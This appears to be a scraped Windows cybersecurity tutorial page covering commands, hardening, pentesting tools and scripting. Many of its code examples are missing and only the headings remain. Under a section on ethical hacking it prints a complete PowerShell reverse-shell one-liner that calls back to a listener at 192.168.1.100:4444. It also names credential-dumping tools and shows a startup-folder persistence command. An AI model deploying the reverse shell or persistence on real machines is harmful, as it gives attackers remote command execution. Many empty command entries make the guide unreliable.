🔹 Windows for Cybersecurity – Full Guide¶
Windows is widely used in enterprise environments, making it a key target for cybersecurity threats. Understanding Windows security, PowerShell, Active Directory, and forensic analysis is essential for cybersecurity professionals.
1️⃣ Windows Basics¶
Before focusing on security, let's cover essential Windows commands.
📌 File & Directory Management¶
-
List files in a directory:
-
Change directory:
-
Copy a file:
-
Move/Rename a file:
-
Delete a file:
-
Create a new folder:
2️⃣ User & Group Management¶
📌 Managing Users¶
-
List all users:
-
Create a new user:
-
Delete a user:
-
Check user privileges:
-
Add user to Administrators group:
📌 Managing Groups¶
-
List all groups:
-
Add a user to a group:
3️⃣ Process & Task Management¶
Monitoring processes is important for detecting malware.
-
List all running processes:
-
Kill a process by name:
-
Kill a process by PID:
-
View detailed process information:
-
Monitor real-time resource usage:
4️⃣ Windows Firewall & Network Security¶
📌 Windows Firewall¶
-
Check firewall status:
-
Block a specific port:
-
Allow SSH connections:
-
Disable Windows Firewall:
📌 Network Analysis¶
-
Check active connections:
-
Find which process is using a port:
-
Scan open ports (using PowerShell):
-
Check system ARP cache:
5️⃣ Log Monitoring & Forensic Analysis¶
Windows logs are stored in Event Viewer and can be analyzed with PowerShell.
-
View security logs:
-
Find failed login attempts:
-
Find successful logins:
-
Check system errors:
6️⃣ Windows Hardening & Security¶
Hardening Windows helps prevent cyber attacks.
📌 Disable Guest Account¶
📌 Disable SMBv1 (to prevent ransomware)¶
📌 Enable BitLocker for Disk Encryption¶
📌 Enable Windows Defender¶
📌 Restrict RDP Access¶
netsh advfirewall firewall add rule name="Block RDP" dir=in action=block protocol=TCP localport=3389
7️⃣ Ethical Hacking with Windows¶
Windows is used in penetration testing and security auditing.
📌 Common Pentesting Tools¶
| Tool | Purpose |
|---|---|
| Metasploit | Exploit vulnerabilities |
| Nmap | Scan networks & ports |
| Mimikatz | Dump passwords from memory |
| Wireshark | Capture network traffic |
| PowerSploit | Exploit PowerShell vulnerabilities |
| Responder | Capture NTLM hashes |
| John the Ripper | Crack passwords |
8️⃣ Windows Exploits & Defense¶
📌 Privilege Escalation¶
-
Check privileges:
-
Check for unquoted service paths (can be exploited):
📌 Password Cracking¶
-
Dump password hashes with Mimikatz:
-
Crack NTLM hashes:
📌 Reverse Shell (Ethical Hacking)¶
-
Start a listener on Kali Linux:
-
Connect to the listener (Windows):
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()};$client.Close()
9️⃣ Windows Scripting Concepts¶
Windows supports batch scripting, PowerShell, and VBScript.
📌 Batch Scripting (Basic)¶
📌 PowerShell Scripting (Advanced)¶
$users = Get-LocalUser
foreach ($user in $users) {
Write-Output "User: $($user.Name) - Enabled: $($user.Enabled)"
}
📌 Automating Tasks with PowerShell¶
-
Schedule a script to run daily:
🔹 Windows Scripting Concepts¶
Windows supports multiple scripting languages for automation, security testing, and system administration. The three most common scripting languages are:
-
Batch Scripting (
.bat) – Simple command-line automation. -
PowerShell Scripting (
.ps1) – Advanced automation & security scripting. -
VBScript (
.vbs) – Legacy scripting for automation (less common now).
1️⃣ Batch Scripting (.bat)¶
Batch scripts are simple command-line scripts used for automation.
📌 Basic Batch Script Example¶
-
@echo off→ Hides command execution from the console. -
echo→ Prints a message to the screen. -
pause→ Waits for user input before closing.
📌 Creating a Batch Script¶
-
Open Notepad
-
Write the script.
-
Save it as
script.bat(not.txt). -
Double-click to run it.
📌 Automating Tasks with Batch¶
🔹 Create a Folder & Move Files¶
🔹 Delete Temporary Files¶
🔹 Run a Program at Startup¶
@echo off
copy myscript.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
2️⃣ PowerShell Scripting (.ps1)¶
PowerShell is a powerful automation framework that integrates deeply with Windows.
📌 Basic PowerShell Script¶
📌 Creating a PowerShell Script¶
-
Open Notepad
-
Write your script.
-
Save it as
script.ps1 -
Run it using:
📌 Managing System Users¶
🔹 List all users¶
🔹 Create a new user¶
New-LocalUser -Name "hacker" -Password (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force) -FullName "Ethical Hacker"
🔹 Delete a user¶
📌 Automate Windows Firewall¶
🔹 Block a port¶
New-NetFirewallRule -DisplayName "Block Port 445" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block
🔹 Allow SSH¶
New-NetFirewallRule -DisplayName "Allow SSH" -Direction Inbound -Protocol TCP -LocalPort 22 -Action Allow
📌 Scheduled Task Automation¶
🔹 Run a script daily at 12 PM¶
$Trigger = New-ScheduledTaskTrigger -Daily -At 12:00PM
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "C:\Scripts\secure.ps1"
Register-ScheduledTask -TaskName "DailySecurityCheck" -Trigger $Trigger -Action $Action -User "SYSTEM" -RunLevel Highest -Force
3️⃣ VBScript (.vbs)¶
VBScript is older and less secure but is still used in legacy systems.
📌 Basic VBScript Example¶
MsgBox→ Displays a popup message.
📌 Automate File Management¶
🔹 Create a folder & copy files¶
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.CreateFolder "C:\Backup"
objFSO.CopyFile "C:\Users\yuva\Desktop\*.txt", "C:\Backup\"
🔹 Open Notepad¶
4️⃣ Comparison of Windows Scripting Languages¶
| Feature | Batch (.bat) | PowerShell (.ps1) | VBScript (.vbs) |
|---|---|---|---|
| Ease of Use | ✅ Simple | ✅ Advanced but easy | ❌ Complex |
| System Control | ❌ Limited | ✅ Full Windows Control | ⚠️ Legacy |
| Security | ❌ Weak | ✅ Secure | ❌ Weak |
| Automation | ✅ Basic | ✅ Advanced | ⚠️ Legacy |
🛡️ Which one should you learn?¶
-
For basic automation → Use Batch
-
For cybersecurity & administration → Use PowerShell
-
For legacy systems → Use VBScript (only if required)